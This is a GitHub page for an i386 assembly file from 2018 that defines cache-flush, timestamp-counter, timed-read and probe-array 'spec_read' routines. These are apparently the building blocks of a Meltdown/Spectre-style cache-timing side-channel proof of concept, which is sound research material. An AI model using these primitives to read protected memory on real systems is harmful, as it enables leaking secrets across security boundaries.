-
Notifications
You must be signed in to change notification settings - Fork 3
/
i386.S
154 lines (142 loc) · 3.41 KB
/
i386.S
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
/*-
* Copyright (c) 2018 The University of Oslo
* Copyright (c) 2018 Dag-Erling Smørgrav
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. The name of the author may not be used to endorse or promote
* products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
/*
* void clflush(const void *addr);
*
* entry:
* (%esp + 4) addr
* exit:
* -
*
* Flush an address from the cache.
*/
.global clflush
.type clflush, @function
clflush:
movl 4(%esp),%eax
mfence
clflush (%eax)
ret
/*
* uint64_t rdtsc64(void);
*
* entry:
* -
* exit:
* %edx:%eax TSC value
*
* Read the 64-bit timestamp counter.
*/
/*
* uint32_t rdtsc32(void);
*
* entry:
* -
* exit:
* %eax lower 32 bits of TSC value
*
* Read the 64-bit timestamp counter, but discard the upper half.
*/
.global rdtsc64
.type rdtsc64, @function
rdtsc64:
.global rdtsc32
.type rdtsc32, @function
rdtsc32:
rdtsc
ret
/*
* uint64_t timed_read(const void *addr);
*
* entry:
* (%esp + 4) addr
* exit:
* %edx:%eax TSC delta
*
* Read a word from the specified address and return the time it took
* in delta-TSC. Will occasionally return a wildly inaccurate number
* due to counter wraparound.
*/
.global timed_read
.type timed_read, @function
timed_read:
pushl %ebp
movl %esp, %ebp
pushl %edi
pushl %ebx
movl 8(%ebp), %edi
mfence
lfence
/* read TSC, combine halves and stash */
rdtsc
movl %eax, %ecx
movl %edx, %ebx
/* access our target */
movl (%edi), %eax
lfence
/* read TSC, combine halves and diff */
rdtsc
subl %ecx, %eax
sbbl %ebx, %edx
popl %ebx
popl %edi
leave
ret
/*
* void spec_read(const uint8_t *addr, const uint8_t *probe, unsigned int shift);
*
* entry:
* (%esp + 4) addr
* (%esp + 8) probe
* (%esp + 12) shift
* exit:
* -
*
* Read *addr repeatedly until it is non-zero, then read probe[*addr << shift].
*/
.global spec_read
.type spec_read, @function
spec_read:
pushl %ebp
movl %esp, %ebp
pushl %edi
pushl %esi
movl 8(%ebp), %edi
movl 12(%ebp), %esi
movl 16(%ebp), %ecx
xorl %eax, %eax
1: movb (%edi), %al
shll %cl, %eax
jz 1b
movb (%esi, %eax, 1), %cl
popl %esi
popl %edi
leave
ret